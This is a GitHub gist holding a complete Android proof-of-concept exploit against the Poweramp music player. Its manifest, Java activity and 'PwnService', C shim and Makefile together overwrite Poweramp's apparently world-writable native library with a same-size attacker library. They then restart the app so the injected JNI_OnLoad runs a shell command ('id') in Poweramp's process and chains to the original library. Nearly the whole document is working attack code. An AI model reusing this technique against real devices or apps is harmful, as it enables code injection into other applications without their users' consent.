Last active
August 29, 2015 14:26
-
-
Save giantpune/90fc3ccba6989dd504e4 to your computer and use it in GitHub Desktop.
poweramp_native_code_exploit
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?xml version="1.0" encoding="utf-8"?> | |
<manifest xmlns:android="http://schemas.android.com/apk/res/android" | |
package="bad.are.libs.writable.world.libwut" > | |
<application | |
android:allowBackup="true" | |
android:icon="@drawable/ic_launcher" | |
android:label="@string/app_name" | |
android:theme="@style/AppTheme" > | |
<activity | |
android:name=".MainActivity" | |
android:label="@string/app_name" > | |
<intent-filter> | |
<action android:name="android.intent.action.MAIN" /> | |
<category android:name="android.intent.category.LAUNCHER" /> | |
</intent-filter> | |
</activity> | |
<service | |
android:exported="false" | |
android:name=".PwnService" | |
android:icon="@drawable/ic_launcher" | |
android:label="PwnService" | |
> | |
</service> | |
</application> | |
</manifest> |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#include <android/log.h> | |
#include <dlfcn.h> | |
#include <jni.h> | |
#include <stdio.h> | |
#define ORIGINAL_LIBRARY_NAME "/data/data/bad.are.libs.writable.world.libwut/files/libfartypants.so" | |
#define LOG_TAG "libwoopsy" | |
#define LOG_D(...) do{ __android_log_print( ANDROID_LOG_DEBUG, LOG_TAG, __VA_ARGS__); printf( __VA_ARGS__ ); }while( 0 ) | |
int JNI_OnLoad( JavaVM* vm, void* reserved ) | |
{ | |
LOG_D( "JNI_OnLoad called\n" ); | |
system( "/system/bin/logwrapper /system/bin/id" ); | |
void *handle = dlopen( ORIGINAL_LIBRARY_NAME, RTLD_NOW | RTLD_GLOBAL ); | |
if( !handle ) | |
{ | |
LOG_D( "error opening %s: %s\n", ORIGINAL_LIBRARY_NAME, dlerror() ); | |
return -1; | |
} | |
int ( *orig )( JavaVM* vm, void* reserved ) = dlsym( handle, "JNI_OnLoad" ); | |
if( !orig ) | |
{ | |
LOG_D( "no original JNI_OnLoad to worry about\n" ); | |
return JNI_VERSION_1_6; | |
} | |
LOG_D( "calling original JNI_OnLoad...\n" ); | |
return orig( vm, reserved ); | |
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
package bad.are.libs.writable.world.libwut; | |
import android.content.Context; | |
import android.content.Intent; | |
import android.support.v7.app.ActionBarActivity; | |
import android.os.Bundle; | |
import android.view.Menu; | |
import android.view.MenuItem; | |
import android.view.View; | |
import android.widget.Button; | |
public class MainActivity extends ActionBarActivity { | |
static public String TAG = "getajob"; | |
static String libname = "/data/data/com.maxmpz.audioplayer/files/libaudioplayer_native.so"; | |
static String newLibPath = null; | |
static private Context ctx = null; | |
@Override | |
protected void onCreate(Bundle savedInstanceState) { | |
super.onCreate(savedInstanceState); | |
setContentView(R.layout.activity_main); | |
ctx = this; | |
newLibPath = getFilesDir() + "/libfartypants.so"; | |
((Button)findViewById(R.id.button)).setOnClickListener(new View.OnClickListener() | |
{ | |
@Override | |
public void onClick(View v) | |
{ | |
Intent i = new Intent( ctx, PwnService.class ); | |
i.putExtra( "originalLib", libname ); | |
i.putExtra( "newLibName", newLibPath ); | |
startService( i ); | |
} | |
}); | |
} | |
@Override | |
public boolean onCreateOptionsMenu(Menu menu) { | |
// Inflate the menu; this adds items to the action bar if it is present. | |
getMenuInflater().inflate(R.menu.menu_main, menu); | |
return true; | |
} | |
@Override | |
public boolean onOptionsItemSelected(MenuItem item) { | |
// Handle action bar item clicks here. The action bar will | |
// automatically handle clicks on the Home/Up button, so long | |
// as you specify a parent activity in AndroidManifest.xml. | |
int id = item.getItemId(); | |
//noinspection SimplifiableIfStatement | |
if (id == R.id.action_settings) { | |
return true; | |
} | |
return super.onOptionsItemSelected(item); | |
} | |
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#--------------------------------------------------------------------------------- | |
.SUFFIXES: | |
#--------------------------------------------------------------------------------- | |
ifeq ($(strip $(NDK_DIR)),) | |
$(error "set NDK_DIR in your environment. export NDK_DIR=<path to android-ndk-r8e>") | |
endif | |
#determine OS string | |
OS=$(shell uname) | |
ARCH_STR= | |
ifneq ($(findstring Linux,$(OS)),) | |
ARCH=$(shell uname -m) | |
ifneq ($(findstring x86_64,$(ARCH)),) | |
ARCH_STR=linux-x86_64 | |
else | |
ARCH_STR=linux-x86 | |
endif | |
else | |
$(error "its not linux. i probably need to fix my makefile") | |
endif | |
NDK_LIB_DIR := $(NDK_DIR)/platforms/android-3/arch-arm/usr | |
PREFIX := $(NDK_DIR)/toolchains/arm-linux-androideabi-4.6/prebuilt/$(ARCH_STR)/bin/arm-linux-androideabi- | |
LINKROOT = $(NDK_LIB_DIR)/lib/ | |
#--------------------------------------------------------------------------------- | |
# the prefix on the compiler executables | |
#--------------------------------------------------------------------------------- | |
export CC := $(PREFIX)gcc | |
export CXX := $(PREFIX)g++ | |
export AS := $(PREFIX)as | |
export AR := $(PREFIX)ar | |
export OBJCOPY := $(PREFIX)objcopy | |
export BIN2S := bin2s | |
export STRIP := $(PREFIX)strip | |
#--------------------------------------------------------------------------------- | |
# TARGET is the name of the output | |
# BUILD is the directory where object files & intermediate files will be placed | |
# SOURCES is a list of directories containing source code | |
# INCLUDES is a list of directories containing extra header files | |
#--------------------------------------------------------------------------------- | |
TARGET := libtest.so | |
BUILD := build | |
SOURCES := source | |
DATA := data | |
INCLUDES := | |
#--------------------------------------------------------------------------------- | |
# any extra libraries we wish to link with the project (order is important) | |
#--------------------------------------------------------------------------------- | |
LIBS := -llog | |
#--------------------------------------------------------------------------------- | |
# list of directories containing libraries, this must be the top level containing | |
# include and lib | |
#--------------------------------------------------------------------------------- | |
LIBDIRS := $(NDK_LIB_DIR) | |
#--------------------------------------------------------------------------------- | |
# options for code generation | |
#--------------------------------------------------------------------------------- | |
CFLAGS := -Wall -g -pipe -fPIC | |
CFLAGS += $(INCLUDE) | |
CXXFLAGS := $(CFLAGS) | |
ASFLAGS := -g | |
LDFLAGS = -shared -Wl,-soname,$(TARGET) | |
#--------------------------------------------------------------------------------- | |
# no real need to edit anything past this point unless you need to add additional | |
# rules for different file extensions | |
#--------------------------------------------------------------------------------- | |
ifneq ($(BUILD),$(notdir $(CURDIR))) | |
#--------------------------------------------------------------------------------- | |
export OUTPUT := $(CURDIR)/$(TARGET) | |
export VPATH := $(foreach dir,$(SOURCES),$(CURDIR)/$(dir)) \ | |
$(foreach dir,$(DATA),$(CURDIR)/$(dir)) | |
export DEPSDIR := $(CURDIR)/$(BUILD) | |
CFILES := $(foreach dir,$(SOURCES),$(notdir $(wildcard $(dir)/*.c))) | |
CPPFILES := $(foreach dir,$(SOURCES),$(notdir $(wildcard $(dir)/*.cpp))) | |
SFILES := $(foreach dir,$(SOURCES),$(notdir $(wildcard $(dir)/*.s))) | |
BINFILES := $(foreach dir,$(DATA),$(notdir $(wildcard $(dir)/*.*))) | |
# use CXX for linking C++ projects, CC for standard C | |
ifeq ($(strip $(CPPFILES)),) | |
export LD := $(CC) | |
else | |
export LD := $(CXX) | |
endif | |
export OFILES := $(addsuffix .o,$(BINFILES)) \ | |
$(CPPFILES:.cpp=.o) $(CFILES:.c=.o) $(SFILES:.s=.o) | |
export INCLUDE := $(foreach dir,$(INCLUDES),-I$(CURDIR)/$(dir)) \ | |
$(foreach dir,$(LIBDIRS),-I$(dir)/include) \ | |
-I$(CURDIR)/$(BUILD) | |
export LIBPATHS := $(foreach dir,$(LIBDIRS),-L$(dir)/lib) | |
.PHONY: $(BUILD) clean all | |
#--------------------------------------------------------------------------------- | |
$(BUILD): | |
@[ -d $@ ] || mkdir -p $@ | |
@$(MAKE) --no-print-directory -C $(BUILD) -f $(CURDIR)/Makefile | |
#--------------------------------------------------------------------------------- | |
clean: | |
@echo clean ... | |
@rm -fr $(BUILD) $(TARGET) $(TARGET).debug | |
all: $(BUILD) | |
#--------------------------------------------------------------------------------- | |
else | |
#--------------------------------------------------------------------------------- | |
# main targets | |
#--------------------------------------------------------------------------------- | |
$(OUTPUT) : $(OFILES) | |
@echo linking $(notdir $@) | |
$(LD) $(LDFLAGS) $(OFILES) --sysroot=$(NDK_LIB_DIR) $(LIBPATHS) $(LIBS) -o $@ | |
-include $(DEPSDIR)/*.d | |
#--------------------------------------------------------------------------------- | |
%.o: %.cpp | |
@echo $(notdir $<) | |
@$(CXX) -MMD -MP -MF $(DEPSDIR)/$*.d $(CXXFLAGS) -c $< -o $@ | |
#--------------------------------------------------------------------------------- | |
%.o: %.c | |
@echo $(notdir $<) | |
$(CC) -MMD -MP -MF $(DEPSDIR)/$*.d $(CFLAGS) -c $< -o $@ | |
#--------------------------------------------------------------------------------- | |
%.o: %.s | |
@echo $(notdir $<) | |
@$(CC) -MMD -MP -MF $(DEPSDIR)/$*.d -x assembler-with-cpp $(ASFLAGS) -c $< -o $@ | |
#--------------------------------------------------------------------------------- | |
%.o: %.S | |
@echo $(notdir $<) | |
@$(CC) -MMD -MP -MF $(DEPSDIR)/$*.d -x assembler-with-cpp $(ASFLAGS) -c $< -o $@ | |
%.bin.o : %.bin | |
@echo $(notdir $<) | |
@$(BIN2S) -a 32 $< | $(AS) -o $(@) | |
#--------------------------------------------------------------------------------------- | |
endif | |
#--------------------------------------------------------------------------------------- |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
package bad.are.libs.writable.world.libwut; | |
import android.app.Service; | |
import android.content.Intent; | |
import android.content.pm.PackageManager; | |
import android.content.res.AssetManager; | |
import android.os.Bundle; | |
import android.os.IBinder; | |
import android.util.Log; | |
import android.widget.Toast; | |
import java.io.File; | |
import java.io.FileInputStream; | |
import java.io.FileOutputStream; | |
import java.io.IOException; | |
import java.io.InputStream; | |
import java.io.OutputStream; | |
import java.io.RandomAccessFile; | |
import java.util.Arrays; | |
/** | |
* Created by j on 7/30/15. | |
*/ | |
public class PwnService extends Service { | |
private static final String TAG = "getajob.pwnservice"; | |
@Override | |
public int onStartCommand(Intent intent, int flags, int startId) | |
{ | |
Bundle extras = intent.getExtras(); | |
if( extras == null ) | |
{ | |
Log.i(TAG, "Intent Service started with no extras"); | |
return Service.START_NOT_STICKY; | |
} | |
String originalLib = extras.getString( "originalLib" ); | |
String newLibName = extras.getString( "newLibName" ); | |
if( originalLib == null || newLibName == null ) | |
{ | |
Log.i( TAG, "Intent Service started with missing parameters" ); | |
return Service.START_NOT_STICKY; | |
} | |
try | |
{ | |
// truncate original file to force poweramp app to create it again | |
Log( "deleting files" ); | |
try{new RandomAccessFile( new File( originalLib ),"rwd").setLength(0);}catch( Exception e){} | |
// start poweramp and give it time to write its files out | |
Log( "start poweramp" ); | |
RestartPowerAmp(); | |
// loop and wait for poweramp to write its files again | |
//! current time + 20 seconds | |
long doneski = System.currentTimeMillis() + 20 * 1000; | |
while( true ) | |
{ | |
Thread.sleep( 1000 ); | |
long now = System.currentTimeMillis(); | |
if( now >= doneski ) | |
{ | |
Log( "ran out of time waiting for original libs" ); | |
ToastMessage( "ran out of time waiting for original libs" ); | |
return Service.START_NOT_STICKY; | |
} | |
File f = new File( originalLib ); | |
if( f.length() > 0 ) | |
{ | |
break; | |
} | |
} | |
// 1 more second to give poweramp time to finish writing its library | |
Thread.sleep( 1000 ); | |
// now backup poweramp's lib to our directory | |
File orig = null; | |
File replacement = null; | |
Log( "backup poweramp lib" ); | |
orig = new File( originalLib ); | |
replacement = new File( newLibName ); | |
int len = copy( orig, replacement ); | |
// this gives it something like 0644 permissions | |
replacement.setWritable(true, true); | |
replacement.setReadable(true, false); | |
// write our library in place of the original one | |
Log( "write out asset lib" ); | |
copyAsset( "libtest.so", originalLib, len ); | |
Thread.sleep( 3000 ); | |
// kill poweramp to force it to restart and load the new library | |
Log( "start poweramp again" ); | |
RestartPowerAmp(); | |
}catch( Exception e ) | |
{ | |
ToastMessage( "error haxxing somewhere"); | |
e.printStackTrace(); | |
return Service.START_NOT_STICKY; | |
} | |
return Service.START_NOT_STICKY; | |
} | |
private void Log( String str ) | |
{ | |
Log.d( TAG, str ); | |
} | |
private void RestartPowerAmp() | |
{ | |
PackageManager manager = getPackageManager(); | |
Intent i = manager.getLaunchIntentForPackage( "com.maxmpz.audioplayer" ); | |
if (i == null) | |
{ | |
ToastMessage( "error starting poweramp" ); | |
return; | |
} | |
i.addCategory(Intent.CATEGORY_LAUNCHER); | |
i.setFlags( Intent.FLAG_ACTIVITY_CLEAR_TASK | Intent.FLAG_ACTIVITY_NEW_TASK ); | |
startActivity(i); | |
} | |
private void ToastMessage( String msg ) | |
{ | |
Toast.makeText(this, msg, Toast.LENGTH_SHORT).show(); | |
} | |
private int copy(File src, File dst) throws IOException | |
{ | |
InputStream in = new FileInputStream(src); | |
OutputStream out = new FileOutputStream(dst); | |
int ret = 0; | |
// Transfer bytes from in to out | |
byte[] buf = new byte[1024]; | |
int len; | |
while ((len = in.read(buf)) > 0) { | |
ret += len; | |
out.write(buf, 0, len); | |
} | |
in.close(); | |
out.close(); | |
return ret; | |
} | |
private void copyAsset( String src, String dst, int finalSize ) throws Exception { | |
AssetManager assetManager = this.getAssets(); | |
InputStream in = assetManager.open( src ); | |
OutputStream out = new FileOutputStream( dst ); | |
byte[] buffer = new byte[1024]; | |
int read; | |
while ((read = in.read(buffer)) != -1) { | |
out.write(buffer, 0, read); | |
// make sure we dont write too much | |
if( finalSize > 0 ) | |
{ | |
finalSize -= read; | |
if (finalSize <= 0) | |
{ | |
return; | |
} | |
} | |
} | |
// now write padding | |
Arrays.fill(buffer, (byte) '\0'); | |
while( finalSize > 0 ) | |
{ | |
int toDo = finalSize; | |
if( toDo > 1024 ) | |
{ | |
toDo = 1024; | |
} | |
out.write(buffer, 0, toDo); | |
finalSize -= toDo; | |
} | |
in.close(); | |
out.flush(); | |
out.close(); | |
} | |
@Override | |
public IBinder onBind(Intent intent) | |
{ | |
//TODO for communication return IBinder implementation | |
return null; | |
} | |
} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment